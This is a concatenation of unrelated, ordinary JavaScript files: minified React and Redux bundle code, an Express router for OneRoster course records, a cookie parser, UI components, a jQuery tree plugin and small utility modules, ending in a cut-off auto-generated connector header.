r(e,t,n){o.call(this,e,t,n)}var o=n(66),a=n(116),i={touches:null,targetTouches:null,changedTouches:null,altKey:null,metaKey:null,ctrlKey:null,shiftKey:null,getModifierState:a};o.augmentClass(r,i),e.exports=r},function(e,t,n){"use strict";function r(e,t,n){o.call(this,e,t,n)}var o=n(83),a={deltaX:function(e){return"deltaX"in e?e.deltaX:"wheelDeltaX"in e?-e.wheelDeltaX:0},deltaY:function(e){return"deltaY"in e?e.deltaY:"wheelDeltaY"in e?-e.wheelDeltaY:"wheelDelta"in e?-e.wheelDelta:0},deltaZ:null,deltaMode:null};o.augmentClass(r,a),e.exports=r},function(e,t){"use strict";function n(e){for(var t=1,n=0,o=0;o<e.length;o++)t=(t+e.charCodeAt(o))%r,n=(n+t)%r;return t|n<<16}var r=65521;e.exports=n},function(e,t){function n(e){return e.replace(r,function(e,t){return t.toUpperCase()})}var r=/-(.)/g;e.exports=n},function(e,t,n){"use strict";function r(e){return o(e.replace(a,"ms-"))}var o=n(413),a=/^-ms-/;e.exports=r},function(e,t,n){function r(e){return!!e&&("object"==typeof e||"function"==typeof e)&&"length"in e&&!("setInterval"in e)&&"number"!=typeof e.nodeType&&(Array.isArray(e)||"callee"in e||"item"in e)}function o(e){return r(e)?Array.isArray(e)?e.slice():a(e):[e]}var a=n(435);e.exports=o},function(e,t,n){(function(t){"use strict";function r(e){var n=a.createFactory(e),r=o.createClass({tagName:e.toUpperCase(),displayName:"ReactFullPageComponent"+e,componentWillUnmount:function(){"production"!==t.env.NODE_ENV?i(!1,"%s tried to unmount. Because of cross-browser quirks it is impossible to unmount some top-level components (eg <html>, <head>, and <body>) reliably and efficiently. To fix this, have a single top-level component that never unmounts render these elements.",this.constructor.displayName):i(!1)},render:function(){return n(this.props)}});return r}var o=n(19),a=n(7),i=n(3);e.exports=r}).call(t,n(2))},function(e,t,n){(function(t){function r(e){var t=e.match(l);return t&&t[1].toLowerCase()}function o(e,n){var o=c;"production"!==t.env.NODE_ENV?s(!!c,"createNodesFromMarkup dummy not initialized"):s(!!c);var a=r(e),l=a&&u(a);if(l){o.innerHTML=l[1]+e+l[2];for(var p=l[0];p--;)o=o.lastChild}else o.innerHTML=e;var f=o.getElementsByTagName("script");f.length&&("production"!==t.env.NODE_ENV?s(n,"createNodesFromMarkup(...): Unexpected <script> element rendered."):s(n),i(f).forEach(n));for(var d=i(o.childNodes);o.lastChild;)o.removeChild(o.lastChild);return d}var a=n(12),i=n(415),u=n(176),s=n(3),c=a.canUseDOM?document.createElement("div"):null,l=/^\s*<(\w+)/;e.exports=o}).call(t,n(2))},function(e,t,n){"use strict";function r(e,t){var n=null==t||"boolean"==typeof t||""===t;if(n)return"";var r=isNaN(t);return r||0===t||a.hasOwnProperty(e)&&a[e]?""+t:("string"==typeof t&&(t=t.trim()),t+"px")}var o=n(158),a=o.isUnitlessNumber;e.exports=r},function(e,t,n){(function(t){"use strict";function r(e,n,r){var o=e,a=!o.hasOwnProperty(r);"production"!==t.env.NODE_ENV&&("production"!==t.env.NODE_ENV?i(a,"flattenChildren(...): Encountered two children with the same key, `%s`. Child keys must be unique; when two children share a key, only the first child will be used.",r):null),a&&null!=n&&(o[r]=n)}function o(e){if(null==e)return e;var t={};return a(e,r,t),t}var a=n(180),i=n(8);e.exports=o}).call(t,n(2))},function(e,t,n){"use strict";function r(e){if(e.key){var t=a[e.key]||e.key;if("Unidentified"!==t)return t}if("keypress"===e.type){var n=o(e);return 13===n?"Enter":String.fromCharCode(n)}return"keydown"===e.type||"keyup"===e.type?i[e.keyCode]||"Unidentified":""}var o=n(115),a={Esc:"Escape",Spacebar:" ",Left:"ArrowLeft",Up:"ArrowUp",Right:"ArrowRight",Down:"ArrowDown",Del:"Delete",Win:"OS",Menu:"ContextMenu",Apps:"ContextMenu",Scroll:"ScrollLock",MozPrintableKey:"Unidentified"},i={8:"Backspace",9:"Tab",12:"Clear",13:"Enter",16:"Shift",17:"Control",18:"Alt",19:"Pause",20:"CapsLock",27:"Escape",32:" ",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"ArrowLeft",38:"ArrowUp",39:"ArrowRight",40:"ArrowDown",45:"Insert",46:"Delete",112:"F1",113:"F2",114:"F3",115:"F4",116:"F5",117:"F6",118:"F7",119:"F8",120:"F9",121:"F10",122:"F11",123:"F12",144:"NumLock",145:"ScrollLock",224:"Meta"};e.exports=r},function(e,t){"use strict";function n(e){for(;e&&e.firstChild;)e=e.firstChild;return e}function r(e){for(;e;){if(e.nextSibling)return e.nextSibling;e=e.parentNode}}function o(e,t){for(var o=n(e),a=0,i=0;o;){if(3===o.nodeType){if(i=a+o.textContent.length,t>=a&&i>=t)return{node:o,offset:t-a};a=i}o=n(r(o))}}e.exports=o},function(e,t){"use strict";function n(e){return e?e.nodeType===r?e.documentElement:e.firstChild:null}var r=9;e.exports=n},function(e,t){"use strict";function n(e){return e===window?{x:window.pageXOffset||document.documentElement.scrollLeft,y:window.pageYOffset||document.documentElement.scrollTop}:{x:e.scrollLeft,y:e.scrollTop}}e.exports=n},function(e,t){function n(e){return e.replace(r,"-$1").toLowerCase()}var r=/([A-Z])/g;e.exports=n},function(e,t,n){"use strict";function r(e){return o(e).replace(a,"-ms-")}var o=n(424),a=/^ms-/;e.exports=r},function(e,t,n){function r(e){return o(e)&&3==e.nodeType}var o=n(178);e.exports=r},function(e,t){"use strict";function n(e,t,n){if(!e)return null;var o={};for(var a in e)r.call(e,a)&&(o[a]=t.call(n,e[a],a,e));return o}var r=Object.prototype.hasOwnProperty;e.exports=n},function(e,t){"use strict";function n(e){var t={};return function(n){return t.hasOwnProperty(n)||(t[n]=e.call(this,n)),t[n]}}e.exports=n},function(e,t,n){(function(t){"use strict";function r(e){return"production"!==t.env.NODE_ENV?a(o.isValidElement(e),"onlyChild must be passed a children with exactly one child."):a(o.isValidElement(e)),e}var o=n(7),a=n(3);e.exports=r}).call(t,n(2))},function(e,t,n){"use strict";var r,o=n(12);o.canUseDOM&&(r=window.performance||window.msPerformance||window.webkitPerformance),e.exports=r||{}},function(e,t,n){var r=n(430);r&&r.now||(r=Date);var o=r.now.bind(r);e.exports=o},function(e,t,n){"use strict";function r(e){return'"'+o(e)+'"'}var o=n(86);e.exports=r},function(e,t,n){"use strict";var r=n(12),o=n(86),a=n(120),i=function(e,t){e.textContent=t};r.canUseDOM&&("textContent"in document.documentElement||(i=function(e,t){a(e,o(t))})),e.exports=i},function(e,t){"use strict";function n(e,t){if(e===t)return!0;var n;for(n in e)if(e.hasOwnProperty(n)&&(!t.hasOwnProperty(n)||e[n]!==t[n]))return!1;for(n in t)if(t.hasOwnProperty(n)&&!e.hasOwnProperty(n))return!1;return!0}e.exports=n},function(e,t,n){(function(t){function r(e){var n=e.length;if("production"!==t.env.NODE_ENV?o(!Array.isArray(e)&&("object"==typeof e||"function"==typeof e),"toArray: Array-like object expected"):o(!Array.isArray(e)&&("object"==typeof e||"function"==typeof e)),"production"!==t.env.NODE_ENV?o("number"==typeof n,"toArray: Object needs a length property"):o("number"==typeof n),"production"!==t.env.NODE_ENV?o(0===n||n-1 in e,"toArray: Object should have keys for indices"):o(0===n||n-1 in e),e.hasOwnProperty)try{return Array.prototype.slice.call(e)}catch(r){}for(var a=Array(n),i=0;n>i;i++)a[i]=e[i];return a}var o=n(3);e.exports=r}).call(t,n(2))},function(e,t){"use strict";function n(){var e=arguments.length<=0||void 0===arguments[0]?{}:arguments[0];return function(t){var n=t.getState;return function(t){return function(o){var a=e.level,i=e.collapsed,u=e.predicate,s=e.logger,c=e.transformer,l=void 0===c?function(e){return e}:c,p=e.timestamp,f=void 0===p?!0:p,d=s||window.console;if("undefined"==typeof d)return t(o);if("function"==typeof u&&!u(n,o))return t(o);var h=l(n()),v=t(o),m=l(n()),g="";if(f){var y=new Date;g=" @ "+y.getHours()+":"+r(y.getMinutes())+":"+r(y.getSeconds())}var E=String(o.type),b="action "+E+g;if(i)try{d.groupCollapsed(b)}catch(_){d.log(b)}else try{d.group(b)}catch(_){d.log(b)}a?(d[a]("%c prev state","color: #9E9E9E; font-weight: bold",h),d[a]("%c action","color: #03A9F4; font-weight: bold",o),d[a]("%c next state","color: #4CAF50; font-weight: bold",m)):(d.log("%c prev state","color: #9E9E9E; font-weight: bold",h),d.log("%c action","color: #03A9F4; font-weight: bold",o),d.log("%c next state","color: #4CAF50; font-weight: bold",m));try{d.groupEnd()}catch(_){d.log("—— log end ——")}return v}}}}Object.defineProperty(t,"__esModule",{value:!0});var r=function(e){return("0"+e).slice(-2)};t["default"]=n,e.exports=t["default"]},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}function o(e){if(e){var t=e.dispatch;return t?(console.warn("redux-logger updated to 1.0.0 and old `logger` is deprecated, check out https://github.com/fcomb/redux-logger/releases/tag/1.0.0"),s["default"](e)):i["default"](e)}return i["default"]()}Object.defineProperty(t,"__esModule",{value:!0});var a=n(436),i=r(a),u=n(438),s=r(u);t["default"]=o,e.exports=t["default"]},function(e,t){"use strict";function n(e){var t=e.getState;return function(e){return function(n){if("undefined"==typeof console)return e(n);var r=t(),o=e(n),a=t(),i=new Date,u="action "+n.type+" @ "+i.getHours()+":"+i.getMinutes()+":"+i.getSeconds();try{console.group(u)}catch(s){console.log(u)}console.log("%c prev state","color: #9E9E9E; font-weight: bold",r),console.log("%c action","color: #03A9F4; font-weight: bold",n),console.log("%c next state","color: #4CAF50; font-weight: bold",a);try{console.groupEnd()}catch(s){console.log("—— log end ——")}return o}}}Object.defineProperty(t,"__esModule",{value:!0}),t["default"]=n,e.exports=t["default"]},function(e,t){"use strict";function n(e){var t=e.dispatch,n=e.getState;return function(e){return function(r){return"function"==typeof r?r(t,n):e(r)}}}t.__esModule=!0,t["default"]=n,e.exports=t["default"]},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}function o(){for(var e=arguments.length,t=Array(e),n=0;e>n;n++)t[n]=arguments[n];return function(e){return function(n,r){var o=e(n,r),i=o.dispatch,s=[],c={getState:o.getState,dispatch:function(e){return i(e)}};return s=t.map(function(e){return e(c)}),i=u["default"].apply(void 0,s)(o.dispatch),a({},o,{dispatch:i})}}}t.__esModule=!0;var a=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e};t["default"]=o;var i=n(182),u=r(i);e.exports=t["default"]},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}function o(e,t){return function(){return t(e.apply(void 0,arguments))}}function a(e,t){if("function"==typeof e)return o(e,t);if("object"!=typeof e||null==e)throw new Error("bindActionCreators expected an object or a function, instead received "+typeof e+'. Did you write "import ActionCreators from" instead of "import * as ActionCreators from"?');return u["default"](e,function(e){return o(e,t)})}t.__esModule=!0,t["default"]=a;var i=n(184),u=r(i);e.exports=t["default"]},function(e,t,n){(function(r){"use strict";function o(e){return e&&e.__esModule?e:{"default":e}}function a(e,t){var n=t&&t.type,r=n&&'"'+n.toString()+'"'||"an action";return'Reducer "'+e+'" returned undefined handling '+r+". To ignore an action, you must explicitly return the previous state."}function i(e,t){var n=Object.keys(t);if(0===n.length)return void console.error("Store does not have a valid reducer. Make sure the argument passed to combineReducers is an object whose values are reducers.");if(!l["default"](e))return void console.error('initialState has unexpected type of "'+{}.toString.call(e).match(/\s([a-z|A-Z]+)/)[1]+'". Expected initialState to be an object with the following '+('keys: "'+n.join('", "')+'"'));var r=Object.keys(e).filter(function(e){return n.indexOf(e)<0});r.length>0&&console.error("Unexpected "+(r.length>1?"keys":"key")+" "+('"'+r.join('", "')+'" in initialState will be ignored. ')+('Expected to find one of the known reducer keys instead: "'+n.join('", "')+'"'))}function u(e){var t=h["default"](e,function(e){return"function"==typeof e});Object.keys(t).forEach(function(e){var n=t[e];if("undefined"==typeof n(void 0,{type:s.ActionTypes.INIT}))throw new Error('Reducer "'+e+'" returned undefined during initialization. If the state passed to the reducer is undefined, you must explicitly return the initial state. The initial state may not be undefined.');
var r=Math.random().toString(36).substring(7).split("").join(".");if("undefined"==typeof n(void 0,{type:r}))throw new Error('Reducer "'+e+'" returned undefined when probed with a random type. '+("Don't try to handle "+s.ActionTypes.INIT+' or other actions in "redux/*" ')+"namespace. They are considered private. Instead, you must return the current state for any unknown actions, unless it is undefined, in which case you must return the initial state, regardless of the action type. The initial state may not be undefined.")});var n,o=f["default"](t,function(){return void 0});return function(e,u){void 0===e&&(e=o);var s=f["default"](t,function(t,n){var r=t(e[n],u);if("undefined"==typeof r)throw new Error(a(n,u));return r});return"production"!==r.env.NODE_ENV&&(n||(i(e,s),n=!0)),s}}t.__esModule=!0,t["default"]=u;var s=n(181),c=n(183),l=o(c),p=n(184),f=o(p),d=n(443),h=o(d);e.exports=t["default"]}).call(t,n(2))},function(e,t){"use strict";function n(e,t){return Object.keys(e).reduce(function(n,r){return t(e[r])&&(n[r]=e[r]),n},{})}t.__esModule=!0,t["default"]=n,e.exports=t["default"]}]);
|
(() => {
// src/420.js
var __default = example = 0;
})();
|
const cookieParser = (req) => {
var Cookies = {};
req.headers.cookie && req.headers.cookie.split(';').forEach(function (Cookie) {
var parts = Cookie.split('=');
Cookies[parts[0].trim()] = (parts[1] || '').trim();
});
return Cookies;
}
export default cookieParser;
|
for (let i=0; i<10; i=i+1) {
console.log("Aleta ist lilaliebst!")
}
console.log("Micha ist lilaliebst!")
|
var app = require('../../../uniroster-server.js');
var db = require('../../../lib/database.js');
var express = require('express');
var utils = require('../../../lib/onerosterUtils.js');
var router = express.Router();
var buildCourse = function(row, hrefBase, metaFields) {
var course = {};
course.sourcedId = row.sourcedId;
course.status = row.status ? row.status : "active";
course.dateLastModified = row.dateLastModified;
var metadata = {};
metaFields.forEach(function(field) {
metadata[field.jsonColumn] = row[field.dbColumn];
});
if (metaFields.length > 0) {
course.metadata = metadata;
}
course.title = row.title;
if (row.schoolYearId) {
var schoolYear = {};
schoolYear.href = hrefBase + '/aademicSessions/' + row.schoolYearId;
schoolYear.sourcedId = row.schoolYearId;
schoolYear.type = 'academicSession';
course.schoolYear = schoolYear;
}
course.courseCode = row.courseCode;
course.grade = row.grade;
if (row.subjects) {
var subjects = [];
var fields = row.subjects.toString().split(",");
fields.forEach(function(subject) {
subjects.push(subject);
});
course.subjects = subjects;
}
if (row.orgSourcedId) {
var school = {};
school.href = hrefBase + '/orgs/' + row.orgSourcedId;
school.sourcedId = row.orgSourcedId;
school.type = 'org';
course.org = school;
}
return course;
};
var queryCourse = function(req, res, next) {
db.setup(req, res, function(connection, hrefBase, type) {
db.tableFields(connection, 'courses', function(fields) {
var select = utils.buildSelectStmt(req, res, fields);
if (select === null) {
connection.release();
return;
}
var where = utils.buildWhereStmt(req, res, fields, '', 'sourcedId = ?');
if (where === null) {
connection.release();
return;
}
var orderBy = utils.buildOrderByStmt(req, res, fields);
if (orderBy === null) {
connection.release();
return;
}
var sql = select + 'FROM courses ';
sql += where;
sql += orderBy;
sql += utils.buildLimitStmt(req);
connection.query(sql, [req.params.id], function(err, rows) {
connection.release();
if (err) {
utils.reportServerError(res, err);
return;
}
if (rows.length == 0) {
utils.reportNotFound(res);
} else {
var wrapper = {};
wrapper.course = buildCourse(rows[0], hrefBase, fields.metaFields);
res.json(wrapper);
}
});
});
});
};
var queryCourses = function(req, res, next) {
db.setup(req, res, function(connection, hrefBase, type) {
db.tableFields(connection, 'courses', function(fields) {
var select = utils.buildSelectStmt(req, res, fields);
if (select === null) {
connection.release();
return;
}
var where = utils.buildWhereStmt(req, res, fields);
if (where === null) {
connection.release();
return;
}
var orderBy = utils.buildOrderByStmt(req, res, fields);
if (orderBy === null) {
connection.release();
return;
}
var sql = select + 'FROM courses ';
sql += where;
sql += orderBy;
sql += utils.buildLimitStmt(req);
connection.query(sql, function(err, rows) {
connection.release();
if (err) {
utils.reportServerError(res, err);
return;
}
var wrapper = {};
wrapper.courses = [];
rows.forEach(function(row) {
wrapper.courses.push(buildCourse(row, hrefBase, fields.metaFields));
});
res.json(wrapper);
});
});
});
};
var queryCoursesForSchool = function(req, res, next) {
db.setup(req, res, function(connection, hrefBase, type) {
db.tableFields(connection, 'courses', function(fields) {
var select = utils.buildSelectStmt(req, res, fields);
if (select === null) {
connection.release();
return;
}
var where = utils.buildWhereStmt(req, res, fields, '', 'orgSourcedId = ?');
if (where === null) {
connection.release();
return;
}
var orderBy = utils.buildOrderByStmt(req, res, fields);
if (orderBy === null) {
connection.release();
return;
}
var sql = select + 'FROM courses ';
sql += where;
sql += orderBy;
sql += utils.buildLimitStmt(req);
connection.query(sql, [req.params.id], function(err, rows) {
connection.release();
if (err) {
utils.reportServerError(res, err);
return;
}
var wrapper = {};
wrapper.courses = [];
rows.forEach(function(row) {
wrapper.courses.push(buildCourse(row, hrefBase, fields.metaFields));
});
res.json(wrapper);
});
});
});
};
router.get('/courses', function(req, res, next) {
queryCourses(req, res, next);
});
router.get('/courses/:id', function(req, res, next) {
queryCourse(req, res, next);
});
router.get('/schools/:id/courses', function(req, res, next) {
queryCoursesForSchool(req, res, next);
});
module.exports = router;
|
//>>built
define(
//begin v1.x content
({
"showBlockNodes": "Mostrar elementos de bloque HTML"
})
//end v1.x content
);
|
const fs = require('fs-extra')
const addToIpfs = require('./add-to-ipfs')
async function argvHandler (argv, ctx) {
let handled = false
const files = []
for (const arg of argv.slice(1)) {
if (!arg.startsWith('--add')) {
continue
}
const filename = arg.slice(6)
if (await fs.pathExists(filename)) {
files.push(filename)
}
}
if (files.length > 0) {
await addToIpfs(ctx, files)
handled = true
}
return handled
}
module.exports = async function (ctx) {
// Checks current proccess
await argvHandler(process.argv, ctx)
}
module.exports.argvHandler = argvHandler
|
var qlik = window.require('qlik');
import initialProperties from './initial-properties.js';
import template from './template.html';
import definition from './definition.js';
import controller from './controller.js';
import localCSS from './style.css'; // eslint-disable-line no-unused-vars
export default {
initialProperties: initialProperties,
template: template,
definition: definition,
controller: controller,
paint: function (element, layout) {
const app = qlik.currApp(this);
const scope = this.$scope;
this.$scope.isInEdit = this.options.interactionState == 2;
// If this is a master object, fetch the properties of the original object
app.getObjectProperties(scope.layout.qExtendsId || scope.layout.qInfo.qId)
.then(function (model) {
scope.sortCriterias = model.properties.qHyperCubeDef.qDimensions[0].qDef.qSortCriterias;
scope.nullSuppression = model.properties.qHyperCubeDef.qDimensions[0].qNullSuppression;
});
},
support: {
snapshot: false,
export: false,
exportData: false
}
};
|
// NPM
var Exit, log;
log = require("de-logger");
Exit = class Exit {
constructor(server) {
this.exit = this.exit.bind(this);
this.uncaughtException = this.uncaughtException.bind(this);
this.sigint = this.sigint.bind(this);
this.sigterm = this.sigterm.bind(this);
this.server = server;
this.listeners();
}
listeners() {
this.readInput();
process.on("exit", this.exit);
process.on("SIGINT", this.sigint);
process.on("SIGTERM", this.sigterm);
process.on("command", this.command);
return process.on("uncaughtException", this.uncaughtException);
}
readInput() {
// Set encoding
process.stdin.setEncoding("utf8");
// Listen for terminal user input (leaves the process running too)
return process.stdin.on("data", function(command) {
// Send terminal command through the application - Remove the \n from the command
return process.emit("command", command.slice(0, -1));
});
}
exit(code) {
this.server.vent.emit("terminate:child");
return log.info(this.server.config.title, "Exit:", code);
}
uncaughtException(e) {
console.log("");
return log.warn(this.server.config.title, "Uncaught Exception Found\n\n", e.stack);
}
sigint() {
console.log("");
log.info(this.server.config.title, "Application Interrupted");
return process.exit(130);
}
sigterm() {
console.log("");
log.info(this.server.config.title, "Application Terminated");
return process.exit(143);
}
command(command) {
if (command === "exit") {
// Exit process
return process.exit();
}
}
};
// Log command
// log.event "command", command
module.exports = Exit;
|
"use strict";
var TestEmpty = (function (_ref) {
babelHelpers.inherits(TestEmpty, _ref);
function TestEmpty() {
babelHelpers.classCallCheck(this, TestEmpty);
babelHelpers.get(Object.getPrototypeOf(TestEmpty.prototype), "constructor", this).apply(this, arguments);
}
return TestEmpty;
})((function () {
function _class() {
babelHelpers.classCallCheck(this, _class);
}
return _class;
})());
var TestConstructorOnly = (function (_ref2) {
babelHelpers.inherits(TestConstructorOnly, _ref2);
function TestConstructorOnly() {
babelHelpers.classCallCheck(this, TestConstructorOnly);
babelHelpers.get(Object.getPrototypeOf(TestConstructorOnly.prototype), "constructor", this).apply(this, arguments);
}
return TestConstructorOnly;
})((function () {
function _class2() {
babelHelpers.classCallCheck(this, _class2);
}
return _class2;
})());
var TestMethodOnly = (function (_ref3) {
babelHelpers.inherits(TestMethodOnly, _ref3);
function TestMethodOnly() {
babelHelpers.classCallCheck(this, TestMethodOnly);
babelHelpers.get(Object.getPrototypeOf(TestMethodOnly.prototype), "constructor", this).apply(this, arguments);
}
return TestMethodOnly;
})((function () {
function _class3() {
babelHelpers.classCallCheck(this, _class3);
}
babelHelpers.createClass(_class3, [{
key: "method",
value: function method() {}
}]);
return _class3;
})());
var TestConstructorAndMethod = (function (_ref4) {
babelHelpers.inherits(TestConstructorAndMethod, _ref4);
function TestConstructorAndMethod() {
babelHelpers.classCallCheck(this, TestConstructorAndMethod);
babelHelpers.get(Object.getPrototypeOf(TestConstructorAndMethod.prototype), "constructor", this).apply(this, arguments);
}
return TestConstructorAndMethod;
})((function () {
function _class4() {
babelHelpers.classCallCheck(this, _class4);
}
babelHelpers.createClass(_class4, [{
key: "method",
value: function method() {}
}]);
return _class4;
})());
var TestMultipleMethods = (function (_ref5) {
babelHelpers.inherits(TestMultipleMethods, _ref5);
function TestMultipleMethods() {
babelHelpers.classCallCheck(this, TestMultipleMethods);
babelHelpers.get(Object.getPrototypeOf(TestMultipleMethods.prototype), "constructor", this).apply(this, arguments);
}
return TestMultipleMethods;
})((function () {
function _class5() {
babelHelpers.classCallCheck(this, _class5);
}
babelHelpers.createClass(_class5, [{
key: "m1",
value: function m1() {}
}, {
key: "m2",
value: function m2() {}
}]);
return _class5;
})());
|
import PropTypes from 'prop-types';
import React, {
useRef, useCallback, useEffect, useState,
} from 'react';
import useAppContext from '../../../App/Contexts/useAppContext';
import useGeneratorsContext from '../../Contexts/useGeneratorsContext';
import GeneratorSettingsView from './view';
const GeneratorSettings = ({ uuid }) => {
const { subscribe, unsubscribe } = useAppContext();
const { findGenerator } = useGeneratorsContext();
const generatorObj = findGenerator(uuid);
const [rpms, setRPMs] = useState(0);
const [res, setRes] = useState(1);
const isMounted = useRef(false);
const updateRPM = useCallback((val) => {
if (isMounted.current) {
setRPMs(val);
}
}, [isMounted, setRPMs]);
const updateRes = useCallback((val) => {
if (isMounted.current) {
setRes(val);
}
}, [isMounted, setRes]);
useEffect(() => {
if (generatorObj !== undefined) {
isMounted.current = true;
subscribe(`${uuid}-rpm-updated`, updateRPM);
setRPMs(generatorObj.rpm);
subscribe(`${uuid}-resolution-updated`, updateRes);
setRes(generatorObj.resolution);
}
return () => {
isMounted.current = false;
unsubscribe(`${uuid}-rpm-updated`, updateRPM);
unsubscribe(`${uuid}-resolution-updated`, updateRes);
};
}, [subscribe, unsubscribe, uuid, generatorObj, updateRPM, updateRes]);
return (
<GeneratorSettingsView {...{
resolution: res,
rpm: rpms,
setResolution: (val) => {
if (generatorObj !== undefined) {
generatorObj.setResolution(val);
}
},
setRPM: (val) => {
if (generatorObj !== undefined) {
generatorObj.setRpm(val);
}
},
}}
/>
);
};
GeneratorSettings.whyDidYouRender = (process.env.NODE_ENV === 'development');
GeneratorSettings.propTypes = {
uuid: PropTypes.string.isRequired,
};
export default GeneratorSettings;
|
export default "M10 16v-1H3.01L3 19c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2v-4h-7v1h-4zm10-9h-4.01V5l-2-2h-4l-2 2v2H4c-1.1 0-2 .9-2 2v3c0 1.11.89 2 2 2h6v-2h4v2h6c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2zm-6 0h-4V5h4v2z"
|
$.fn.extend({
treed: function (o) {
var openedClass = 'glyphicon-minus-sign';
var closedClass = 'glyphicon-plus-sign';
if (typeof o != 'undefined'){
if (typeof o.openedClass != 'undefined'){
openedClass = o.openedClass;
}
if (typeof o.closedClass != 'undefined'){
closedClass = o.closedClass;
}
};
//initialize each of the top levels
var tree = $(this);
tree.addClass("tree");
tree.find('li').has("ul").each(function () {
var branch = $(this); //li with children ul
branch.prepend("<i class='indicator glyphicon " + closedClass + "'></i>");
branch.addClass('branch');
branch.on('click', function (e) {
if (this == e.target) {
var icon = $(this).children('i:first');
icon.toggleClass(openedClass + " " + closedClass);
$(this).children().children().toggle();
}
})
branch.children().children().toggle();
});
//fire event from the dynamically added icon
tree.find('.branch .indicator').each(function(){
$(this).on('click', function () {
$(this).closest('li').click();
});
});
//fire event to open branch if the li contains an anchor instead of text
tree.find('.branch>a').each(function () {
$(this).on('click', function (e) {
$(this).closest('li').click();
e.preventDefault();
});
});
//fire event to open branch if the li contains a button instead of text
tree.find('.branch>button').each(function () {
$(this).on('click', function (e) {
$(this).closest('li').click();
e.preventDefault();
});
});
}
});
$('#tree1').treed();
$('#tree2').treed({openedClass:'glyphicon-folder-open', closedClass:'glyphicon-folder-close'});
$('#tree3').treed({openedClass:'glyphicon-chevron-right', closedClass:'glyphicon-chevron-down'});
|
var htp__hooks_8c =
[
[ "htp_hook_copy", "htp__hooks_8c.html#a1f1e4fb530d86ef619a0eaff8bfe491e", null ],
[ "htp_hook_create", "htp__hooks_8c.html#aa1cdd71dc6965b5a9a6647e8ed650997", null ],
[ "htp_hook_destroy", "htp__hooks_8c.html#a58b480fb42419dec49170dbeb1189a73", null ],
[ "htp_hook_register", "htp__hooks_8c.html#ae22b914ef6ae582b88a44e413efc48db", null ],
[ "htp_hook_run_all", "htp__hooks_8c.html#a8981d368a73f78ddfb4ad1de1f4a5fc2", null ],
[ "htp_hook_run_one", "htp__hooks_8c.html#a67c417adb40bcf110515cc00b6f8f956", null ]
];
|
import styled from 'styled-components';
import is from 'styled-is';
import { breakWordStyles } from 'helpers/styles';
import Icon from 'components/golos-ui/Icon';
import TextCut from 'components/common/TextCut';
export const Wrapper = styled.div`
opacity: 0.7;
${is('isIrreversible')`
opacity: 1;
`};
&:nth-child(even) {
background: #f8f8f8;
}
`;
export const Line = styled.div`
display: flex;
align-items: center;
padding: 0 20px;
`;
export const LineIcon = styled(Icon)`
flex-shrink: 0;
width: 24px;
height: 24px;
color: ${props => props.color || '#b7b7ba'};
`;
export const Who = styled.div`
display: flex;
flex-direction: column;
justify-content: center;
flex-grow: 1;
flex-basis: 10px;
padding: 0 16px;
height: 80px;
overflow: hidden;
`;
export const WhoTitle = styled.div`
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
`;
export const WhoName = styled.div`
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
`;
export const WhoBottom = styled.div`
display: flex;
align-items: center;
`;
export const Value = styled.div`
display: flex;
flex-shrink: 0;
flex-direction: column;
flex-basis: 150px;
align-items: flex-end;
width: auto;
height: 80px;
justify-content: center;
`;
export const Amount = styled.div`
margin-top: 2px;
line-height: 24px;
font-size: 20px;
font-weight: bold;
color: ${props => props.color || '#b7b7ba'};
white-space: nowrap;
overflow: hidden;
@media (min-width: 890px) and (max-width: 1023px), (max-width: 639px) {
font-size: 18px;
}
`;
export const Currency = styled.div`
font-size: 12px;
color: #757575;
white-space: nowrap;
overflow: hidden;
`;
export const TimeStamp = styled.div`
margin-right: 8px;
font-size: 12px;
color: #959595;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
`;
export const Memo = styled.div`
margin-left: 10px;
display: flex;
flex-grow: 1.5;
flex-basis: 10px;
overflow: hidden;
@media (min-width: 890px) and (max-width: 1050px), (max-width: 550px) {
flex-grow: 0;
min-width: 24px;
}
`;
export const MemoIcon = styled(Icon)`
display: block;
flex-shrink: 0;
flex-basis: 24px;
margin-top: 28px;
color: #333;
transition: color 0.15s;
${is('text')`
&:hover {
color: #3684ff;
}
`}
`;
export const MemoCenter = styled.div`
&::after {
display: inline-block;
content: '';
height: 50px;
vertical-align: middle;
}
`;
export const MemoText = styled.div`
display: inline-block;
width: 100%;
padding: 4px 0;
line-height: 1.4em;
vertical-align: middle;
${breakWordStyles};
`;
export const MemoCut = styled(TextCut)`
flex-grow: 1;
margin: 15px 0;
padding: 0 40px;
@media (min-width: 890px) and (max-width: 1050px), (max-width: 550px) {
display: none;
}
`;
|
import React from "react"
import Layout from '../commponent/layout'
export default () => <Layout>
<h2>Hello,</h2>
<h2>I' am Surendra Bhati</h2>
<span>Android</span> <span>|</span><span>Web</span> <span>|</span><span>UI/UX</span>
</Layout>
|
"use strict";
var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");
Object.defineProperty(exports, "__esModule", {
value: true
});
exports["default"] = void 0;
var _index = _interopRequireDefault(require("./index.js"));
/* global document */
// adapted from https://github.com/webpack/webpack/issues/595
function getCurrentScriptSrc() {
if (document.currentScript) return document.currentScript.src; // this is unreliable if the script is loaded asynchronously
var scripts = document.getElementsByTagName('script');
return scripts[scripts.length - 1].src;
}
function derivePath(scriptSrc) {
return scriptSrc.substring(0, scriptSrc.lastIndexOf('/'));
} // allows webpack to dynamically load chunks on the same path as where the index script is loaded.
__webpack_public_path__ = derivePath(getCurrentScriptSrc()) + '/'; // eslint-disable-line
var _default = _index["default"];
exports["default"] = _default;
module.exports = exports["default"];
|
/**
* Auto-generated action file for "FireBrowse Beta API" API.
*
* Generated at: 2019-05-07T14:40:44.564Z
* Mass generator version: 1.1.0
*
* flowground :- Telekom iPaaS / firebrowse-org-connector
* Copyright © 2019, Deutsche Telekom AG
* contact: flowground@telekom.de
*
* All files of this connector are licensed under the Apache 2.0 License. For details
* see the file LICENSE on the toplevel directory.
*
*
* Operation: 'Clinical'
* Endpoint Path: '/Samples/Clinical'
